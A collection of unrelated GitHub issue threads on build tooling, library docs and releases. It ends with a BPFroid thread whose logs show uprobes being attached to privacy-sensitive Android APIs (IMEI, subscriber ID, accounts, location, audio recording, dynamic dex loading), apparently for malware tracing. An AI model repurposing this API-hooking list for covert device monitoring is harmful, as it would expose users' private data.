Glad that helped, @yardenasadosa . Agree, it would be good to make the -it option optional by adding a new option to the mwaa-local-env script, as it would allow folks to run the script on non-interactive shells such as inside CI/CD pipelines. I see no reason why the -it option is required at all there - it's probably unnecessary.

I've encountered the same issue with the AWS MWAA Local Runner in my CI/CD pipeline, specifically when attempting to package .whl requirements for webservers within private networks. The workaround of removing the -it flag, as discussed earlier, appears to be a practical solution for running the script in non-interactive environments like mine. Implementing an "interactive" parameter, as suggested by @yardenasadosa, would significantly enhance the tool's usability for automated tasks, especially in CI/CD pipelines designed for private network MWAA deployments. This feature would streamline our workflow by facilitating the packaging of .whl files without requiring manual intervention or public internet access.


Fix - Missing leading zeros

If cellValue is string no matter that it contains only numbers will put the value as text. Preventing of losing leading zeroes
#696

welcome to our team 🤗

thanks :smile:


missing ioloop replacement in mojolicious examples

The examples in the DOC are incomplete. as-is they will not work with mojolocious. I finally found the missing piece.
In you mojolicious application you have to replace the default MojoX ioloop instance with the Mojolicious instance.
my $redis = MojoX::Redis->new(server => '<IP_ADDRESS>:6379', ioloop => Mojo::IOLoop->new);

Good day.

But thanks for getting my attention to this problem, I'll add documentation that will help to use MojoX::Redis in a Mojolicious environment.

Fixed DOC and Wiki page, thanks for report.

based on your reply to my blog we really need more Mojolicious working
examples. Thanks for the update. I look forward to checking it out.
*
Richard Bucker
*
*
*
*
*
On Wed, Nov 2, 2011 at 5:23 PM, Sergey Zasenko <
<EMAIL_ADDRESS>
Fixed DOC and Wiki page, thanks for report.
--
Reply to this email directly or view it on GitHub:
https://github.com/und3f/mojox-redis/issues/3#issuecomment-2609913


Line layer api update

For #2721

Background
update LineLayer APIs for 7.0-release

Change List

added new props: widthMinPixels, widthMaxPixels and getWidth
deprecated props: getStrokeWidth
updated docs

Do not change the LineLayer golden images. Update the test cases to use the new API and verify that they can produce the same outcome.
ContourLayer's API is not changed, therefore its appearance should not change. This is the point of the render test. You cannot just replace the image so that the test passes.

Coverage decreased (-0.08%) to 58.705% when pulling 731c25cbb68ce4167a7acbdf6b6d4eb9d523d580 on line-layer-API-update into ffee0e8ee97230d55caf20c94619724090326c17 on master.


Please cut v0.10.1 (would be last tag before :db_connection 2)

Hi, at $DAYJOB we still rely on ecto v2 as well as Xandra. The former has a hard dependency on db_connection v1. (Ecto v3 depends on v2).
It appears the last published tag is https://github.com/lexhide/xandra/releases/tag/v0.10.0 and that there is no minor or patch release after that as well as before Xandra depends on db_connection v2: https://github.com/lexhide/xandra/commit/b059c79cbfe6266461f8d8b20a59d60a44fb4699
Could you cut & publish a patch release on this commit? Here is the desired diff between last tag and new tag.
Mainly I'm asking that you cut a release right before the db_connection v2 change which also includes the changes to silence the warnings (PR #129) as well as other niceties.
Right now we just depend on commit 984fca495979ba80cb64e69e98e259c3d579af65.
Thanks!

Hey @fenollp, sorry I'm not sure why you need all that diff when it's mostly testing changes. Do you want a version that suppresses the warnings?

Basically yes :)

v0.10.1 has been released.


Update spans automatically after each merge

Couldn't get the rebase to work nicely - So worked on a new fork - will try and keep it tidy this time. Need to dive deeper into git. Fixed bug, should be ok now.
PS.
Shouldn't line 166 in setup.py be:
'spacy.tests.spans',
instead of
'spacy.tests.span'
?

Hmm.
I've gone through this now and I think I prefer a different implementation, that is less total code, and doesn't introduce the potential performance problems of making Span.start and Span.end properties.
I've pushed to master, but there are still bugs that I'm working out. Thanks for your work on this.

A property was indeed overkill performance-wise, but by using a property I had one thing less to worry about while digging into the code. Thank you for fixing this :+1:


Fix issue #168: intervals greater than one day were incorrect.

This is a proposed fix for issue #168

@timofurrer ready for your review.

Awesome, thank you :tada:


Implement SimpleReplace

This PR includes and implements #85 .
Since we don't yet have DFG-rooted HUGRs we use a workaround where the replacement graph is specified as a HUGR with a unique DFG node. Once #112 is merged we can remove this workaround.

Addressed comments in the PR (except the ones about code location, which I'll return to). Moved to draft since it implements the old version of SimpleReplace (which didn't handle empty wires in the replacement), so needs updating to match the new version...

I think this now handles empty wires correctly. Note the updated spec.

Some fixes needed following merge from latest main; update to follow...

Result::ok just casts the value to an Option, discarding any error information. In most cases calling that before unwrap will give less debug info.

Thanks, yes. It seems I can't change all instances of .ok().unwrap() though because of errors like:
error[E0277]: `NodePortOffsets` doesn't implement `Debug`
    --> src/replacement/simple_replace.rs:230:14
     |
230  |             .unwrap();
     |              ^^^^^^ `NodePortOffsets` cannot be formatted using `{:?}` because it doesn't implement `Debug`
     |
     = help: the trait `Debug` is not implemented for `NodePortOffsets`
     = help: the trait `Debug` is implemented for `ExactlyOneError<I>`
     = note: required for `itertools::adaptors::map::MapSpecialCase<NodePortOffsets, itertools::adaptors::map::MapSpecialCaseFnInto<Port>>` to implement `Debug`
     = note: 1 redundant requirement hidden
     = note: required for `ExactlyOneError<MapSpecialCase<NodePortOffsets, MapSpecialCaseFnInto<Port>>>` to implement `Debug`
     = note: the full type name has been written to '/home/alec/r/hugr/target/debug/deps/hugr-653fda1ba5647c44.long-type-8370086427390340701.txt'
note: required by a bound in `Result::<T, E>::unwrap`
    --> /home/alec/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/lib/rustlib/src/rust/library/core/src/result.rs:1085:12
     |
1085 |         E: fmt::Debug,
     |            ^^^^^^^^^^ required by this bound in `Result::<T, E>::unwrap`

Will change what I can.


bazel version 6.5.0 install issue

I am working on  pointnet project in python. The project uses tensorflow and tensorrt. In the integration of tensorflow with tensorrt, bazel 6.5.0 needs to be installed for that installed bazelisk. but got ERROR: The project you're trying to build requires Bazel 6.5.0 (specified in /....../pointnet/tensorflow/.bazelversion), but it wasn't found in /usr/bin. Initially installed bazelisk and was able to install bazel 6.5.0 but in usr/local/bin. deleted that and when tried again to install in /usr/bin got error. when executed
bazelisk install --version 6.5.0
WARNING: Invoking Bazel in batch mode since it is not invoked from within a workspace (below a directory having a WORKSPACE file).
OpenJDK 64-Bit Server VM warning: Options -Xverify:none and -noverify were deprecated in JDK 13 and will likely be removed in a future release.
Command 'install' not found. Try 'bazel help'.

bazelisk manages Bazel versions transparently for you. You don't need to install them explicitly. But you have to make sure that you're calling bazelisk instead of bazel. (it seems you called bazel which is installed in /usr/bin`)
If you call bazelisk instead of bazel, then bazelisk will read the .bazelversion file and download this version and call it.

Installed bazel 6.5.0 version successfully using bazelisk. In the process of Rebuilding TensorFlow with TensorRT Support successfully completed steps up to Build TensorFlow. Now to Generate TensorFlow Wheel Package when run the command
sudo bazel-bin/tensorflow/tools/pip_package/build_pip_package_py --output-name=tensorflow_pkg.whl --project-name=pointnet --headers=/...../pointnet/tensorflow/tensorflow/core/framework
got error, Traceback (most recent call last):
File "/....../pointnet/tensorflow/bazel-bin/tensorflow/tools/pip_package/build_pip_package_py.runfiles/org_tensorflow/tensorflow/tools/pip_package/build_pip_package.py", line 336, in
prepare_wheel_srcs(args.headers, args.srcs, args.xla_aot,
File "/..../pointnet/tensorflow/bazel-bin/tensorflow/tools/pip_package/build_pip_package_py.runfiles/org_tensorflow/tensorflow/tools/pip_package/build_pip_package.py", line 175, in prepare_wheel_srcs
prepare_headers(headers, os.path.join(srcs_dir, "tensorflow/include"))
File "/.../pointnet/tensorflow/bazel-bin/tensorflow/tools/pip_package/build_pip_package_py.runfiles/org_tensorflow/tensorflow/tools/pip_package/build_pip_package.py", line 102, in prepare_headers
copy_file(file, srcs_dir)
File "/.../pointnet/tensorflow/bazel-bin/tensorflow/tools/pip_package/build_pip_package_py.runfiles/org_tensorflow/tensorflow/tools/pip_package/utils/utils.py", line 77, in copy_file
shutil.copy(src_file, dest_dir_path)
File "/root/.cache/bazel/_bazel_root/b7a2b4a7c8c9d490d024a728eda02b60/external/python_x86_64-unknown-linux-gnu/lib/python3.11/shutil.py", line 419, in copy
copyfile(src, dst, follow_symlinks=follow_symlinks)
File "/root/.cache/bazel/_bazel_root/b7a2b4a7c8c9d490d024a728eda02b60/external/python_x86_64-unknown-linux-gnu/lib/python3.11/shutil.py", line 236, in copyfile
raise SameFileError("{!r} and {!r} are the same file".format(src, dst))
shutil.SameFileError: '/..../pointnet/tensorflow/tensorflow/core/framework' and '/..../pointnet/tensorflow/tensorflow/core/framework' are the same file

I don't know which guide you're following, and I am not too familiar with tensorflow (never heard of the pointnet project nor tensor-rt before). Better ask in some tensorflow / pointnet specific forum.

@Helena2007 this issue is not related to Bazelisk therefore must be closed.
If you're following https://www.tensorflow.org/install/source#build_the_package or some other guide, share context when raising an issue.
I've seen that you opened an issue to the PointNet repo. An advice: try to include as much detail as possible, which guide or instructions you're following, the command you're executing, your machine information, and when dumping stacktraces, try to format them using markdown e.g.
sudo bazel-bin/tensorflow/tools/pip_package/build_pip_package_py --output-name=tensorflow_pkg.whl --project-name=pointnet --headers=/...../pointnet/tensorflow/tensorflow/core/framework
got error, Traceback (most recent call last):

Would suggest you to update https://github.com/charlesq34/pointnet/issues/313
@meteorcloudy can this issue be closed?


Integration Test - Release - 2019/07/09 22:57:51

Auto create for integration test. AnotherAuthorUpdatedArticleFlow

@PRMergerTest3 : Thanks for your contribution! The author(s) have been notified to review your proposed change.


Windows Quickstart

Create a .bat version of the script starting a local Postgres docker, allowing a Windows user to run the entire quickstart natively without WSL.

When I ran the last .bat file I received a Do exception error.  I do have a working start.postgres_docker.bat I would like to propose.
start_postgres_docker.zip

When I ran the last .bat file I received a Do exception error. I do have a working start.postgres_docker.bat I would like to propose.
start_postgres_docker.zip

Thank you!  I've added your fixes and updated the PR.

We should update the examples/hello readme

> npx dbos-sdk migrate
2024-03-18 18:32:25 [info]: Starting migration: creating database undefined if it does not exist
'createdb' is not recognized as an internal or external command,
operable program or batch file.
2024-03-18 18:32:25 [error]: Error creating database: Command failed: createdb -h localhost -p 5432 undefined -U postgres -ew undefined
'createdb' is not recognized as an internal or external command,
operable program or batch file.

    at GlobalLogger.error (C:\Users\harry\Source\dbos\sdk-ts\dist\src\telemetry\logs.js:63:65)
    at migrate (C:\Users\harry\Source\dbos\sdk-ts\dist\src\dbos-runtime\migrate.js:31:24)
    at runAndLog (C:\Users\harry\Source\dbos\sdk-ts\dist\src\dbos-runtime\cli.js:85:28)
    at Command.<anonymous> (C:\Users\harry\Source\dbos\sdk-ts\dist\src\dbos-runtime\cli.js:49:33)
    at Command.listener [as _actionHandler] (C:\Users\harry\Source\dbos\sdk-ts\node_modules\commander\lib\command.js:494:17)
    at C:\Users\harry\Source\dbos\sdk-ts\node_modules\commander\lib\command.js:1296:65
    at Command._chainOrCall (C:\Users\harry\Source\dbos\sdk-ts\node_modules\commander\lib\command.js:1193:12)
    at Command._parseCommand (C:\Users\harry\Source\dbos\sdk-ts\node_modules\commander\lib\command.js:1296:27)
    at C:\Users\harry\Source\dbos\sdk-ts\node_modules\commander\lib\command.js:1082:27
    at Command._chainOrCall (C:\Users\harry\Source\dbos\sdk-ts\node_modules\commander\lib\command.js:1193:12)

npx dbos-sdk migrate
2024-03-18 18:32:25 [info]: Starting migration: creating database undefined if it does not exist
'createdb' is not recognized as an internal or external command,
operable program or batch file.
2024-03-18 18:32:25 [error]: Error creating database: Command failed: createdb -h localhost -p 5432 undefined -U postgres -ew undefined
'createdb' is not recognized as an internal or external command,
operable program or batch file.

    at GlobalLogger.error (C:\Users\harry\Source\dbos\sdk-ts\dist\src\telemetry\logs.js:63:65)
    at migrate (C:\Users\harry\Source\dbos\sdk-ts\dist\src\dbos-runtime\migrate.js:31:24)
    at runAndLog (C:\Users\harry\Source\dbos\sdk-ts\dist\src\dbos-runtime\cli.js:85:28)
    at Command.<anonymous> (C:\Users\harry\Source\dbos\sdk-ts\dist\src\dbos-runtime\cli.js:49:33)
    at Command.listener [as _actionHandler] (C:\Users\harry\Source\dbos\sdk-ts\node_modules\commander\lib\command.js:494:17)
    at C:\Users\harry\Source\dbos\sdk-ts\node_modules\commander\lib\command.js:1296:65
    at Command._chainOrCall (C:\Users\harry\Source\dbos\sdk-ts\node_modules\commander\lib\command.js:1193:12)
    at Command._parseCommand (C:\Users\harry\Source\dbos\sdk-ts\node_modules\commander\lib\command.js:1296:27)
    at C:\Users\harry\Source\dbos\sdk-ts\node_modules\commander\lib\command.js:1082:27
    at Command._chainOrCall (C:\Users\harry\Source\dbos\sdk-ts\node_modules\commander\lib\command.js:1193:12)

I will look at updating the readme file


Standardize our formatting

We should try to move towards a standardized formatting. We should almost definitely use rustfmt and use a project config file to enforce the standard.
As suggested by @Andlon in #57 we could also check the formatting using Travis.
I'm happy to use the rustfmt defaults but I think it would be best to have the config file in place to override contributors global configs.

To organize imports, the following configurations should be added to rustfmt.toml:
reorder_imports = true
reorder_imported_names = true


builder: Move to bullseye

Fixes https://github.com/yanivagman/BPFroid/issues/14 and https://github.com/yanivagman/BPFroid/issues/13

I don't think the compiled binary will work for you with this change. It has to be statically compiled to be able to run on an Android device (since it has its own implementation of libc and other required libs)

I don't think the compiled binary will work for you with this change. It has to be statically compiled to be able to run on an Android device (since it has its own implementation of libc and other required libs)

So far I only got these when trying to trace open syscalls. I suppose they are not related to the issue you mentioned above?:
Extracting oat files and offsets from zygote process...
Found zygote64 pid: 1139
Found zygote pid: 1140
+ /system/framework/arm64/boot.oat base: 0x7120e000, oatdata offset: 0x1000
+ /system/framework/arm64/boot-core-libart.oat base: 0x715a1000, oatdata offset: 0x1000
+ /system/framework/arm64/boot-okhttp.oat base: 0x715f8000, oatdata offset: 0x1000
+ /system/framework/arm64/boot-bouncycastle.oat base: 0x7163e000, oatdata offset: 0x1000
+ /system/framework/arm64/boot-framework.oat base: 0x72661000, oatdata offset: 0x1000
+ /system/framework/arm64/boot-framework-graphics.oat base: 0x72f8d000, oatdata offset: 0x1000
+ /system/framework/arm64/boot-ext.oat base: 0x72f94000, oatdata offset: 0x1000
+ /system/framework/arm64/boot-voip-common.oat base: 0x72fc4000, oatdata offset: 0x1000
+ /system/framework/arm64/boot-core-icu4j.oat base: 0x72fdf000, oatdata offset: 0x1000
Using cached hooks from /data/local/tmp/EBProid/api_hooks.cache
libbpf: failed to determine tracepoint 'raw_syscalls/sys_enter' perf event ID: No such file or directory
libbpf: prog 'tracepoint__raw_syscalls__sys_enter': failed to create tracepoint 'raw_syscalls/sys_enter' perf event: No such file or directory
libbpf: failed to determine tracepoint 'sched/sched_process_exit' perf event ID: No such file or directory
libbpf: prog 'tracepoint__sched__sched_process_exit': failed to create tracepoint 'sched/sched_process_exit' perf event: No such file or directory
libbpf: failed to determine tracepoint 'raw_syscalls/sys_exit' perf event ID: No such file or directory
libbpf: prog 'tracepoint__raw_syscalls__sys_exit': failed to create tracepoint 'raw_syscalls/sys_exit' perf event: No such file or directory
TIME(s)        UID    COMM             PID     TID     RET              EVENT                ARGS

With hooks.json:
Extracting oat files and offsets from zygote process...
Found zygote64 pid: 1139
Found zygote pid: 1140
+ /system/framework/arm64/boot.oat base: 0x7120e000, oatdata offset: 0x1000
+ /system/framework/arm64/boot-core-libart.oat base: 0x715a1000, oatdata offset: 0x1000
+ /system/framework/arm64/boot-okhttp.oat base: 0x715f8000, oatdata offset: 0x1000
+ /system/framework/arm64/boot-bouncycastle.oat base: 0x7163e000, oatdata offset: 0x1000
+ /system/framework/arm64/boot-framework.oat base: 0x72661000, oatdata offset: 0x1000
+ /system/framework/arm64/boot-framework-graphics.oat base: 0x72f8d000, oatdata offset: 0x1000
+ /system/framework/arm64/boot-ext.oat base: 0x72f94000, oatdata offset: 0x1000
+ /system/framework/arm64/boot-voip-common.oat base: 0x72fc4000, oatdata offset: 0x1000
+ /system/framework/arm64/boot-core-icu4j.oat base: 0x72fdf000, oatdata offset: 0x1000

Attaching uprobes:
+ "AIBinder_new" in file: /system/lib64/libbinder_ndk.so, offset: 0xd0a0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe AIBinder_new: failed to attach AIBinder_new0 u(ret)probe using legacy debugfs API
+ "ACameraManager_openCamera" in file: /system/lib64/libcamera2ndk.so, offset: 0x3d998
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe ACameraManager_openCamera: failed to attach ACameraManager_openCamera1 u(ret)probe using legacy debugfs API
+ "openat" in file: /apex/com.android.runtime/lib64/bionic/libc.so, offset: 0x60520
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe openat: failed to attach openat2 u(ret)probe using legacy debugfs API
+ "open" in file: /apex/com.android.runtime/lib64/bionic/libc.so, offset: 0x60260
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe open: failed to attach open3 u(ret)probe using legacy debugfs API
+ "unlinkat" in file: /apex/com.android.runtime/lib64/bionic/libc.so, offset: 0xac9b0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe unlinkat: failed to attach unlinkat4 u(ret)probe using legacy debugfs API
+ "execveat" in file: /apex/com.android.runtime/lib64/bionic/libc.so, offset: 0x0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe execveat: failed to attach execveat5 u(ret)probe using legacy debugfs API
+ "printf" in file: /apex/com.android.runtime/lib64/bionic/libc.so, offset: 0xbc2b0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe printf: failed to attach printf6 u(ret)probe using legacy debugfs API
+ "dlopen" in file: /apex/com.android.runtime/lib64/bionic/libdl.so, offset: 0x1020
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe dlopen: failed to attach dlopen7 u(ret)probe using legacy debugfs API

Attaching Android API uprobes:
Preparing hooks data from oat files (once), this may take a while...
+ android.telephony.TelephonyManager.getImei()
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5ab800
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.telephony.TelephonyManager.getImei.: failed to attach android_telephony_TelephonyManager_getImei_8 u(ret)probe using legacy debugfs API
+ android.telephony.TelephonyManager.getImei(int)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5ab860
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.telephony.TelephonyManager.getImei.int: failed to attach android_telephony_TelephonyManager_getImei_int9 u(ret)probe using legacy debugfs API
+ android.telephony.TelephonyManager.getSubscriberId()
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5ae240
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.telephony.TelephonyManager.getSubscriberId.: failed to attach android_telephony_TelephonyManager_getSubscriberId_10 u(ret)probe using legacy debugfs API
+ android.telephony.TelephonyManager.getSubscriberId(int)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5ae310
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.telephony.TelephonyManager.getSubscriberId.int: failed to attach android_telephony_TelephonyManager_getSubscriberId_int11 u(ret)probe using legacy debugfs API
+ android.telephony.TelephonyManager.getLine1Number()
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5ab990
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.telephony.TelephonyManager.getLine1Number.: failed to attach android_telephony_TelephonyManager_getLine1Number_12 u(ret)probe using legacy debugfs API
+ android.telephony.TelephonyManager.getLine1Number(int)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5aba60
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.telephony.TelephonyManager.getLine1Number.int: failed to attach android_telephony_TelephonyManager_getLine1Number_int13 u(ret)probe using legacy debugfs API
+ android.telephony.TelephonyManager.getNetworkOperatorName()
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5ac5c0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.telephony.TelephonyManager.getNetworkOperatorName.: failed to attach android_telephony_TelephonyManager_getNetworkOperatorName_14 u(ret)probe using legacy debugfs API
+ android.telephony.TelephonyManager.getNetworkOperatorName(int)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5ac690
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.telephony.TelephonyManager.getNetworkOperatorName.int: failed to attach android_telephony_TelephonyManager_getNetworkOperatorName_int15 u(ret)probe using legacy debugfs API
+ android.telephony.TelephonyManager.getNetworkCountryIso()
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5ac090
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.telephony.TelephonyManager.getNetworkCountryIso.: failed to attach android_telephony_TelephonyManager_getNetworkCountryIso_16 u(ret)probe using legacy debugfs API
+ android.telephony.TelephonyManager.getNetworkCountryIso(int)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5ac0f0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.telephony.TelephonyManager.getNetworkCountryIso.int: failed to attach android_telephony_TelephonyManager_getNetworkCountryIso_int17 u(ret)probe using legacy debugfs API
+ android.os.Debug.isDebuggerConnected()
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x4e6b20
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.os.Debug.isDebuggerConnected.: failed to attach android_os_Debug_isDebuggerConnected_18 u(ret)probe using legacy debugfs API
+ dalvik.system.BaseDexClassLoader.findClass(java.lang.String)
  in file: /system/framework/arm64/boot-core-libart.oat, offset: 0x169b0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe dalvik.system.BaseDexClassLoader.findClass.java.lang.String: failed to attach dalvik_system_BaseDexClassLoader_findClass_java_lang_String19 u(ret)probe using legacy debugfs API
+ dalvik.system.BaseDexClassLoader.findResource(java.lang.String)
  in file: /system/framework/arm64/boot-core-libart.oat, offset: 0x16ec0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe dalvik.system.BaseDexClassLoader.findResource.java.lang.String: failed to attach dalvik_system_BaseDexClassLoader_findResource_java_lang_String20 u(ret)probe using legacy debugfs API
+ dalvik.system.BaseDexClassLoader.findResources(java.lang.String)
  in file: /system/framework/arm64/boot-core-libart.oat, offset: 0x170c0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe dalvik.system.BaseDexClassLoader.findResources.java.lang.String: failed to attach dalvik_system_BaseDexClassLoader_findResources_java_lang_String21 u(ret)probe using legacy debugfs API
+ dalvik.system.BaseDexClassLoader.findLibrary(java.lang.String)
  in file: /system/framework/arm64/boot-core-libart.oat, offset: 0x16dd0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe dalvik.system.BaseDexClassLoader.findLibrary.java.lang.String: failed to attach dalvik_system_BaseDexClassLoader_findLibrary_java_lang_String22 u(ret)probe using legacy debugfs API
+ android.app.NotificationManager.notify(int, android.app.Notification)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x20b210
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.app.NotificationManager.notify.int_android.app.Notification: failed to attach android_app_NotificationManager_notify_int_android_app_Notificat23 u(ret)probe using legacy debugfs API
+ android.app.NotificationManager.notify(java.lang.String, int, android.app.Notification)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x20b270
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.app.NotificationManager.notify.java.lang.String_int_android.app.Notification: failed to attach android_app_NotificationManager_notify_java_lang_String_int_andr24 u(ret)probe using legacy debugfs API
+ android.telephony.TelephonyManager.listen(android.telephony.PhoneStateListener, int)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5af1e0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.telephony.TelephonyManager.listen.android.telephony.PhoneStateListener_int: failed to attach android_telephony_TelephonyManager_listen_android_telephony_Phon25 u(ret)probe using legacy debugfs API
+ android.util.Base64.decode(java.lang.String, int)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5eea00
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.util.Base64.decode.java.lang.String_int: failed to attach android_util_Base64_decode_java_lang_String_int26 u(ret)probe using legacy debugfs API
+ android.util.Base64.decode(byte[], int)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5eea80
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.util.Base64.decode.byte[]_int: failed to attach android_util_Base64_decode_byte___int27 u(ret)probe using legacy debugfs API
+ android.util.Base64.decode(byte[], int, int, int)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5eeae0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.util.Base64.decode.byte[]_int_int_int: failed to attach android_util_Base64_decode_byte___int_int_int28 u(ret)probe using legacy debugfs API
+ android.util.Base64.encode(byte[], int)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5eecc0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.util.Base64.encode.byte[]_int: failed to attach android_util_Base64_encode_byte___int29 u(ret)probe using legacy debugfs API
+ android.util.Base64.encode(byte[], int, int, int)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5eed20
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.util.Base64.encode.byte[]_int_int_int: failed to attach android_util_Base64_encode_byte___int_int_int30 u(ret)probe using legacy debugfs API
+ android.util.Base64.encodeToString(byte[], int)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5eeef0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.util.Base64.encodeToString.byte[]_int: failed to attach android_util_Base64_encodeToString_byte___int31 u(ret)probe using legacy debugfs API
+ android.util.Base64.encodeToString(byte[], int, int, int)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5eefc0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.util.Base64.encodeToString.byte[]_int_int_int: failed to attach android_util_Base64_encodeToString_byte___int_int_int32 u(ret)probe using legacy debugfs API
+ android.accounts.AccountManager.getAccountsByType(java.lang.String)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x1ce7a0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.accounts.AccountManager.getAccountsByType.java.lang.String: failed to attach android_accounts_AccountManager_getAccountsByType_java_lang_Stri33 u(ret)probe using legacy debugfs API
+ android.accounts.AccountManager.getAccounts()
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x1ce630
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.accounts.AccountManager.getAccounts.: failed to attach android_accounts_AccountManager_getAccounts_34 u(ret)probe using legacy debugfs API
+ android.location.Location.getLatitude()
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5246e0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.location.Location.getLatitude.: failed to attach android_location_Location_getLatitude_35 u(ret)probe using legacy debugfs API
+ android.location.Location.getLongitude()
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x5246f0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.location.Location.getLongitude.: failed to attach android_location_Location_getLongitude_36 u(ret)probe using legacy debugfs API
+ android.media.MediaRecorder.start()
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x1a9020
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.media.MediaRecorder.start.: failed to attach android_media_MediaRecorder_start_37 u(ret)probe using legacy debugfs API
+ android.app.ApplicationPackageManager.getInstalledPackages(int)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x2e3130
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.app.ApplicationPackageManager.getInstalledPackages.int: failed to attach android_app_ApplicationPackageManager_getInstalledPackages_int38 u(ret)probe using legacy debugfs API
+ android.app.ApplicationPackageManager.getInstalledPackages(android.content.pm.PackageManager$PackageInfoFlags)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x2e31b0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.app.ApplicationPackageManager.getInstalledPackages.android.content.pm.PackageManager$PackageInfoFlags: failed to attach android_app_ApplicationPackageManager_getInstalledPackages_andro39 u(ret)probe using legacy debugfs API
+ android.app.ActivityManager.getRunningAppProcesses()
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x1e1ad0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.app.ActivityManager.getRunningAppProcesses.: failed to attach android_app_ActivityManager_getRunningAppProcesses_40 u(ret)probe using legacy debugfs API
+ dalvik.system.DexFile.openDexFile(java.lang.String, java.lang.String, int, java.lang.ClassLoader, dalvik.system.DexPathList$Element[])
  in file: /system/framework/arm64/boot-core-libart.oat, offset: 0x187a0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe dalvik.system.DexFile.openDexFile.java.lang.String_java.lang.String_int_java.lang.ClassLoader_dalvik.system.DexPathList$Element[]: failed to attach dalvik_system_DexFile_openDexFile_java_lang_String_java_lang_Str41 u(ret)probe using legacy debugfs API
+ android.os.PowerManager.newWakeLock(int, java.lang.String)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x50bc00
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.os.PowerManager.newWakeLock.int_java.lang.String: failed to attach android_os_PowerManager_newWakeLock_int_java_lang_String42 u(ret)probe using legacy debugfs API
+ android.content.res.AssetManager.open(java.lang.String)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x23cde0
failed to open uprobe_events file: -2
failed to create uprobe event: -2
error attaching uprobe android.content.res.AssetManager.open.java.lang.String: failed to attach android_content_res_AssetManager_open_java_lang_String43 u(ret)probe using legacy debugfs API
+ android.content.res.AssetManager.open(java.lang.String, int)
  in file: /system/framework/arm64/boot-framework.oat, offset: 0x23ce40
failed to open uprobe_events file: -2
failed to create uprobe event: -2
